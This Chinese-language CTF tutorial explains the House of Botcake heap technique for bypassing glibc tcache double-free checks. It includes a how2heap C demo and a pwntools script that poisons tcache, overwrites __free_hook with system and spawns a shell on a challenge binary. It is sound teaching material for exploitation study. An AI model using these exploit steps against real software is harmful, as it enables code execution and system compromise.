基于house_of_botcake的绕过tcachebin保护的攻击
字数 1829 2025-08-22 12:23:30
House of Botcake:绕过tcachebin保护的堆利用技术详解
1. 背景与原理
1.1 tcache保护机制的发展
在glibc 2.27版本引入tcache机制初期,tcache几乎没有保护机制。但在后续的2.31版本中,加入了针对double free的检测机制:
- 当一个chunk被放入tcachebin时,其bk指针处会被设置为
tcache_key - 每次程序将new free chunk放入tcache前,都会检查它是否已携带key值
- 如果检测到已带有key值,就会产生报错
1.2 绕过tcache保护的主要方法
- 修改已进入tcachebin的chunk的bk指针处的key:直接修改key值来绕过保护
- 修改已进入tcachebin中的chunk的size:使其被再次free时进入其他tcache链表
- House of Botcake技术:利用合并和分割机制绕过保护
其中第一种和第三种方法在实际利用中更为常见。
2. House of Botcake技术详解
2.1 基本攻击流程
- 填充tcache链表:分配并释放7个相同大小的chunk填满tcachebin
- 准备victim chunk:分配一个额外的chunk作为攻击目标
- 释放victim到unsorted bin:由于tcache已满,victim会进入unsorted bin
- 触发合并:释放victim的前一个chunk,使其与victim合并
- 重新释放victim到tcache:从tcache取出一个chunk腾出空间,然后再次释放victim
- tcache poisoning:通过合并后的chunk覆盖victim的fd指针
- 获取任意地址分配:通过精心构造的fd指针实现任意地址分配
2.2 关键技术点
- 绕过tcache_key检测:合并后的victim chunk的bk指针会被设置为main_arena附近的值,这可以绕过tcache_key检测
- 合并与分割机制:利用unsorted bin的合并特性创建重叠chunk
- 双重释放:通过精心设计的释放顺序实现有效的双重释放
3. 实例分析:How2Heap中的Botcake示例
3.1 代码关键步骤解析
// 1. 准备堆布局
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t *); i++){
x[i] = malloc(0x100); // 分配7个chunk
}
intptr_t *prev = malloc(0x100); // 用于后续合并的chunk
intptr_t *a = malloc(0x100); // victim chunk
malloc(0x10); // 防止合并的padding
// 2. 填充tcache
for(int i=0; i<7; i++){
free(x[i]);
}
// 3. 释放victim到unsorted bin
free(a);
// 4. 触发合并
free(prev);
// 5. 从tcache取出一个并再次释放victim
malloc(0x100);
free(a); // 关键的双重释放
// 6. tcache poisoning
intptr_t *b = malloc(0x120);
b[0x120/8 - 2] = (long)stack_var; // 覆盖fd指针
// 7. 获取目标地址的chunk
malloc(0x100);
intptr_t *c = malloc(0x100); // 获取stack_var处的chunk
3.2 攻击流程总结
- 分配9个chunk(0-8),释放前7个填满tcache
- 分配一个隔离chunk(9)防止top合并
- 释放8号chunk到unsorted bin
- 释放7号chunk触发合并
- 从tcache取出一个chunk腾出空间
- 再次释放8号chunk实现双重释放
- 通过合并后的chunk覆盖8号chunk的fd指针
- 通过两次分配获取目标地址的控制权
4. 实战例题分析
4.1 题目特点
- 提供完整的堆操作功能:add、edit、show、delete
- 存在UAF(Use After Free)漏洞
- 存在堆溢出漏洞
- 实际比赛中可能条件更苛刻(如只有一次UAF机会)
4.2 利用脚本解析
from pwn import *
# 初始化
context(log_level='debug', os='linux', arch='amd64')
p = process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 功能封装
def add(index, size):
# 添加chunk
pass
def dele(index):
# 删除chunk
pass
def edit(index, size, content):
# 编辑chunk
pass
def show(index):
# 显示chunk内容
pass
# 1. 填充tcache
for i in range(9):
add(i, 0x80)
for i in range(7):
dele(i)
# 2. 准备隔离chunk和/bin/sh
add(9, 0x10)
edit(9, 0x10, b'/bin/sh\x00')
# 3. 释放victim并泄露libc
dele(8)
show(8)
libc_base = l64() - 0x1ecbe0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
# 4. 触发合并并实现双重释放
dele(7)
add(10, 0x80)
dele(8)
# 5. tcache poisoning
add(11, 0xa0)
edit(11, 0xa0, b'a'*0x80 + p64(0) + p64(0x91) + p64(free_hook))
# 6. 获取free_hook并写入system
add(12, 0x80)
add(13, 0x80)
edit(13, 0x10, p64(system))
# 7. 触发system("/bin/sh")
dele(9)
p.interactive()
4.3 调试关键点
-
初始状态:
- 分配9个0x80大小的chunk
- 释放前7个填满tcachebin
- 8号chunk进入unsorted bin
-
合并阶段:
- 释放7号chunk与8号chunk合并
- 合并后的chunk的fd/bk指向main_arena
-
双重释放:
- 从tcache取出一个chunk腾出空间
- 再次释放8号chunk实现双重释放
-
tcache poisoning:
- 通过合并后的chunk覆盖8号chunk的fd指针
- 将fd指向
__free_hook
-
获取控制权:
- 通过两次分配获取
__free_hook处的chunk - 写入system地址
- 触发
free("/bin/sh")实现getshell
- 通过两次分配获取
5. 防御与缓解
- 升级glibc版本:新版本可能引入更多保护机制
- 加强堆元数据校验:检查chunk大小和位置合理性
- 使用安全的内存分配器:如HardenedMalloc
- 启用额外保护:如FORTIFY_SOURCE等编译选项
6. 总结
House of Botcake是一种强大的堆利用技术,它通过:
- 精心设计的释放顺序绕过tcache保护
- 利用合并机制创建重叠chunk
- 通过分割操作实现内存覆盖
- 最终实现任意地址分配和控制流劫持
这种技术在现代堆利用中仍然有效,理解其原理对于二进制安全研究和漏洞防御至关重要。